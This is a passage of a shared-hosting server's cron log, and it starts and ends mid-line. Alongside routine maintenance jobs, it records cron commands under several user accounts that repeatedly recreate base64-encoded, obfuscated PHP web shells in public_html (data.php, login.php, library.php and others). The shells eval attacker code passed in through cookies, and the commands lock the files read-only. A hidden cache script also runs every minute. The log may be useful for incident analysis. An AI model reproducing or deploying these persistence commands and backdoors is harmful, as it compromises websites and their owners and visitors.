N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:15:01 medusa CROND[15533]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:15:01 medusa CROND[15567]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:15:01 medusa CROND[15569]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:15:01 medusa CROND[15570]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 01:15:01 medusa CROND[15571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:15:01 medusa CROND[15572]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:15:01 medusa CROND[15575]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:15:01 medusa CROND[15580]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:15:01 medusa CROND[15582]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 01:15:01 medusa CROND[15563]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 01:15:01 medusa CROND[15561]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 01:15:01 medusa CROND[15595]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:16:02 medusa CROND[29788]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:16:02 medusa CROND[29789]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:16:02 medusa CROND[29792]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:16:02 medusa CROND[29794]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:16:02 medusa CROND[29795]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:16:02 medusa CROND[29796]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:16:02 medusa CROND[29797]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:16:02 medusa CROND[29798]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:16:02 medusa CROND[29793]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 01:16:02 medusa CROND[29805]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:16:02 medusa CROND[29808]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 01:16:02 medusa CROND[29806]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:16:02 medusa CROND[29812]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:16:02 medusa CROND[29810]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 01:17:01 medusa CROND[5003]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:17:01 medusa CROND[5079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:17:01 medusa CROND[5082]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:17:01 medusa CROND[5080]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:17:01 medusa CROND[5081]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:17:01 medusa CROND[5083]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:17:01 medusa CROND[5084]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:17:01 medusa CROND[5086]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  2 01:17:01 medusa CROND[5087]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:17:01 medusa CROND[5099]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0